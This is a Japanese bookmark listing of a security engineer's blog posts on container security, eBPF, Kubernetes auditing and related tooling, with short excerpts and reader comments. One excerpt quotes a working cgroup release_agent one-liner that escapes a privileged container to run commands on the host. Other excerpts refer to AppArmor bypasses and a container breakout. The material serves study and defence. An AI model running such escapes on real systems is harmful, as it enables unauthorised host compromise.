タグ

ブックマーク / blog.ssrf.in (18)

  • 「基礎から学ぶコンテナセキュリティ」という書籍を書きました

    # どういう書籍か コンテナの要素技術である Linux Namespaces などの Linux の機能について体験し、それらが機能していないコンテナではどういった脅威が生じ、どのような攻撃手法があるのかについて紹介したです。 副題は「Dockerを通して理解するコンテナの攻撃例と対策」ですが、演習題材として Docker を使うという意味であり、Kubernetes などの環境では通用しないという意味ではありません。書を通して得た知識は、Docker だけでなく、Kubernetes や Nomad などのコンテナ環境のセキュリティに適用できるように書いています。 # 他の書籍との違い コンテナとそのセキュリティに関する書籍はいくつかあります。有名どころだと次のようなものがあり、これらの中でセキュアなコンテナ運用について書かれています。 Docker/Kubernetes開発・運用

    「基礎から学ぶコンテナセキュリティ」という書籍を書きました
    udzura
    udzura 2023/07/26
  • コンテナやコマンドなどのリソース単位で外部への意図しない通信をブロックする

    特定の外部ネットワークへの通信の制限にはファイアウォールなどを利用することが多いですが、コンテナや実行されたコマンド名などをもとに、通信を制御したいという需要が自分の中でありました。 具体的には GitHub Self-hosted runner のような CI / CD 環境で、依存パッケージに悪意あるコードが入り込んでしまうようなサプライチェーン攻撃などを検知・防御し、意図せずにクレデンシャルなどの秘匿すべき情報が外部に漏洩するのを防ぎたいと思っていました。 このようなサプライチェーン攻撃への対策は様々ですが、実行時に悪意のある動作を検出するものとして、GitLab が Falco をベースとした Package Hunter などがあります。このツールは依存パッケージなどをインストールする際に実行されるシステムコールなどを監視するものです。 検知するだけであれば Package Hu

    コンテナやコマンドなどのリソース単位で外部への意図しない通信をブロックする
    udzura
    udzura 2021/09/27
    “LSM + eBPF”やってる
  • Infra Study Meetup #10 に登壇した

    イベントは、複数回にわたりインフラ技術の各分野に精通した講師をお招きし、インフラ技術の「これまで」と「これから」を網羅的に学ぶことを趣旨として開催いたします。... 今回はパネルディスカッションということで、今後のインフラ技術について思い思いに喋る回。 パネルディスカッションは(たしか)初めてなので、上手く話せていたのか心配…。あとで YouTube の録画を見て確認します… うまく喋れてなかったらごめんなさい。 さて、登壇にあたって、前回 #9 のパネルディスカッションを見て、おおよそどういう話をするかを予想し、自分なりに今の課題感とか今後の技術についてまとめていました。 今後のインフラ技術…といっても、自分はガッツリとインフラをしているわけではないので、セキュリティエンジニアの目線からどういう課題があるか、今後の発展などについて考えてメモを取っていました。 箇条書きで駄文ですが、せっ

    Infra Study Meetup #10 に登壇した
    udzura
    udzura 2021/01/26
    いい話が残っていた。お疲れ様でした!
  • 1Password に保存しているクレデンシャルを環境変数として利用するためのツールを作った

    私はパスワードやトークンなどを 1Password に保存しています。これらを環境変数として利用したい場合、クリップボードにコピーして set か export して環境変数にセットするか、頻繁に利用するものであれば envchain を利用していました。 envchain はとても便利なのですが、私は MacLinux、それから Windows もたまに使っているため、 keychain や Gnome Keyring でそれぞれ保存するのが手間に思っていました。どうせ 1Password に保存しているので、そこから取得してしまえば良いと思い、 openv というツールを作りました。 GitHub - mrtc0/openv: A tool that uses the credentials stored in 1password as an environment variab

    1Password に保存しているクレデンシャルを環境変数として利用するためのツールを作った
    udzura
    udzura 2021/01/03
    readv,writevを思い出す。便利そう。
  • procfs の hidepid オプションについて調べた

    profs の hidepid オプションの値 procfs のマウントオプションに hidepid というオプションがあることを知った。 man で確認すると 0~3 の値を取るらしい。 hidepid=n (since Linux 3.3) This option controls who can access the information in /proc/[pid] directories. The argument, n, is one of the following values: 0 Everybody may access all /proc/[pid] directories. This is the traditional behavior, and the default if this mount option is not specified. 1 Users

    procfs の hidepid オプションについて調べた
    udzura
    udzura 2020/08/23
  • アプリケーションを oauth2-proxy で保護して curl でアクセスするまで

    追記 2020-05-13 この方法に問題があることをご指摘いただきました。来関係ないクライアントがリソースサーバーにアクセスできる問題がありますので、取り急ぎこの方法は非推奨であることを書いておきます(では、どのようにすればいいのかというところをまた後日追記します)。 リソースサーバーと全く関係の無いクライアントが、全く関係のない文脈で正当に取得した ID トークンを用いて、リソースサーバーの API にアクセスできてしまうと思われます。リソース側が evil かどうかも関係なく、むしろリソースサーバーは騙される側ですね。図を参照してください。 pic.twitter.com/kKCZohOgu2 — Taka@Authlete, BaaS for OAuth 2.0 & OpenID Connect (@darutk) May 13, 2020 追記 2020-05-18 結論として

    アプリケーションを oauth2-proxy で保護して curl でアクセスするまで
    udzura
    udzura 2020/05/12
    めっちゃまとまってる
  • cxray で falco のルールを生成する

    以前 は BPF を使ってコンテナの中のイベントを取得する cxray を作った話を書いた。 cxray で現在取得できるイベントは次の4つ。 起動したプロセス 開かれたファイル TCPv4 での接続先 TCPv4 での network listener cxray のユースケースとして、生成されたイベントをホワイトリストとして定義し、別のモニタリングツールのルールなどに利用することを想定している。 ここではシンプルな Rails 環境を動かし、falco のルールを作るところまでやってみる。 環境 次のような docker-compose.yml を用意し、rails が起動するところまでのイベントを取得する。 version: "3" services: app: build: . ports: - "3000:3000" environment: - "DATABASE_HOST=d

    cxray で falco のルールを生成する
    udzura
    udzura 2020/01/08
    すごいな
  • BPF(bcc)のメモ

    bpf や bcc 周りは使わないと忘れてしまうのでメモ。 Hello, World clang で bpf オブジェクトを作って C でそれを読み込む…という方法よりも https://github.com/iovisor/bcc/ を使う方が楽なので、bcc でやります。 C でやると環境作るところから大変なので… ref : https://blog.raymond.burkholder.net/index.php?/archives/1000-eBPF-Basics.html execve システムコールが呼ばれたときに Hello, World! と表示するプログラムを作ります。 from bcc import BPF bpf_text = """ #include <uapi/linux/ptrace.h> #include <linux/sched.h> #include <

    BPF(bcc)のメモ
    udzura
    udzura 2019/12/20
    BPFやってるパーソンだ。
  • cgroup の release_agent を使った特権コンテナからのエスケープ

    元ネタ : https://twitter.com/_fel1x/status/1151487051986087936 d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` mkdir -p $d/w;echo 1 >$d/w/notify_on_release t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o — Felix Wilhelm (@_fel1x) July 17, 2019 特権( CAP_SYS_ADMIN )コンテナで cgr

    udzura
    udzura 2019/07/23
    これはたとえば cgroup namespace を切っててもこうなっちゃうんかな...
  • Kubernetes クラスタの audit ログを取得する

    Kubernetes でどのような操作が行われたか(audit)のログを取得する方法をメモ。 https://kubernetes.io/docs/tasks/debug-application-cluster/audit/ ここでは例として secrets リソースの audit ログを取得してみる。 1. Audit Policy を作成する。 apiVersion: audit.k8s.io/v1 kind: Policy omitStages: - "RequestReceived" rules: - level: Metadata resources: - group: "" resources: ["secrets"] - level: None

    udzura
    udzura 2019/07/22
  • No New Privileges と Docker

    Linux に No New Privileges という、子プロセスが新しい特権を取得できないようにする仕組みがある。 https://www.kernel.org/doc/html/latest/userspace-api/no_new_privs.html #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/prctl.h> int main(int argc, char * argv[]) { if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) { return EXIT_FAILURE; } return execvp(argv[1], &argv[1]); }

    udzura
    udzura 2019/07/18
  • bccとUSDTを使ってMySQL/PostgreSQLのクエリログを取得する

    引越しをして落ち着き始めました。一人暮らしの頃の家電を replace する作業をしている。 よろしくおねがいします。 https://www.amazon.jp/hz/wishlist/ls/QH63MJIX20EA?ref_=wl_share USDT がどのように動作するのかについて調べ、USDT と eBPF(bcc) を使って様々なことができることを知ったのでメモがてら。 まずは USDT (User Statically-Defined Tracing) について簡単に述べる。 USDT はユーザースペースで動作しているアプリケーションに対し、オーバーヘッドを小さく簡単にデバッグを可能とするものだ。 これは DTrace で使われている技術で、元々は Solaris でカーネルに Probe と呼ばれるものを挿入し、Probe を通過した時点でユーザースペースの関数がコールバッ

    bccとUSDTを使ってMySQL/PostgreSQLのクエリログを取得する
    udzura
    udzura 2019/06/20
    勉強になる
  • Apparmor のバイパステクニック | "><s>はい</s>

    この記事はGMOペパボ Advent Calendar 2018の22日目の記事です(大遅刻)。 当は今半期やってきた総括として、コンテナランタイムのセキュリティについて一からまとめたかったのですが、Linux Namespace の実装を読み始めたら迷子になってしまったので間に合いませんでした。 なので、今回は過去に見つかった AppArmor のバイパス方法を簡単にまとめようと思います。 2018/12/24 現在、最新版で修正されているものもあるし、されていないものもあります。 ここでは、以下の3つのバイパス方法を記します。 親ディレクトリを rename するバイパス shebang を利用したバイパス pivot_root を利用したバイパス ちなみに、それぞれのバグ報告の Issue リンクは記していますが、どのバージョンやコミットで修正されているかまでは記していません。面倒

    Apparmor のバイパステクニック | "><s>はい</s>
    udzura
    udzura 2018/12/25
    これ、Linuxアドベンカレンダーもいけるなw
  • 電気を止められたのでポストモーテム

    支払い期限を1日過ぎた結果、電気を止められたので復旧までのポストモーテム。 ところで Mr.Robot が面白いんですけど、面白くないですか?好きなセリフは「コンピュータ画面の見すぎじゃないか?」です。 概要 Summary 7月分の支払い期限が8/31だったけど、うっかり忘れてしまい翌日の9/1(土)に支払った 9/3(月)に帰宅すると送電停止され、契約も解除されていた 影響 電気が使えない 発生要因 支払いを忘れていた 対応 24時間対応の緊急窓口に電話、翌朝に送電依頼 うまくいったこと 検知してから最速で復旧できそう うまくいかなかったこと ホテルに泊まるという判断が遅かった 幸運だったこと 近くのホテルに泊まれた 携帯の充電があった 支払いの紙が手元にあり、お客様番号などがすぐにわかった タイムライン 7月分の支払い期限が8/31だったけど、うっかり忘れてしまい翌日の9/1(土)に

    電気を止められたのでポストモーテム
    udzura
    udzura 2018/09/04
    ポスモの例です
  • open_by_handle_at(2) でコンテナから Break Out する

    俺たちの夏休みはこれからだ!(今日が最終日) 前回は ptrace を使用して seccomp による制限を回避してみた 。 今回は seccomp とコンテナの関係、コンテナからホストへの break out についてのメモです。メモなので雑に書いています。 コンテナと seccomp LXCDocker でも seccomp が利用されており、コンテナを break out する危険があるようなシステムコールを禁止している。 LXCでは非常に小さなポリシーとなっている(これとは別でどこかで自動生成されているのかな…?) https://github.com/lxc/lxc/blob/b96e9ae47aff9a722e1e900851a389b4dd0b4222/config/templates/common.seccomp 2 blacklist reject_force_um

    open_by_handle_at(2) でコンテナから Break Out する
    udzura
    udzura 2018/08/20
    良い話だ... 安全性高め太郎としてはUser Namespaceも有効っぽい
  • PHP Extension を作って関数をフックしてみる

    夏休みに観る Netflix オススメ映画を募集しています。 PHP Extension で sha1() をフックして引数を表示するところまでやってみたのでメモ。 1. PHP Extension を作る準備 PHPのソースコード一式を落としてきてコンパイルする。 $ cd ext $ ./ext_skel --extname=hook Creating directory hook Creating basic files: config.m4 config.w32 .gitignore hook.c php_hook.h CREDITS EXPERIMENTAL tests/001.phpt hook.php [done]. To use your new extension, you will have to execute the following steps: 1. $ cd

    PHP Extension を作って関数をフックしてみる
    udzura
    udzura 2018/08/03
    いい話
  • 機密情報の比較処理、secure_compareの実装について

    ActiveSupport::SecurityUtils.secure_compareやRack::Util.secure_compareについてメモ。 文字列が等価であるかどうか確認するのにa == bという風に書くことが多い。 しかし、機密情報の比較にこの形式を用いると、処理に要する時間からアルゴリズムが特定されたり、機密情報自体が漏れる可能性がある(所謂、Timing Attack)。 例えば、クーポンや一時トークンの確認などではTiming Attackに気をつける必要がある。 通常の文字列比較の場合、1byte目から確認していき、文字列が異なる時点でFalseを返す実装が多いと思う。 'secret' == 'hoge' # F 'secret' == 'soge' # TF 'secret' == 'sege' # TTF ... 'secret' == 'secret' #

    機密情報の比較処理、secure_compareの実装について
    udzura
    udzura 2018/07/17
    森田便利さんだ
  • proxysqlのクエリログのバイナリを読む

    proxysqlは通過したクエリをログとして残すことができる。 Query Logging · sysown/proxysql Wiki このログの実体はバイナリで、 proxysql に付属している tools/eventslog_reader_sample.cpp で読むことができる。 $ tools/eventslog_reader_sample /path/to/queris.log ProxySQL LOG QUERY: thread_id="2" username="root" schemaname=sampledb1" client="127.0.0.1:46392" HID=0 server="127.0.0.1:3306" starttime="2018-06-25 14:37:05.165436" endtime="2018-06-25 14:37:05.166352"

    proxysqlのクエリログのバイナリを読む
    udzura
    udzura 2018/06/26
    “パッと見た感じ自明”便利まとめだ
  • 1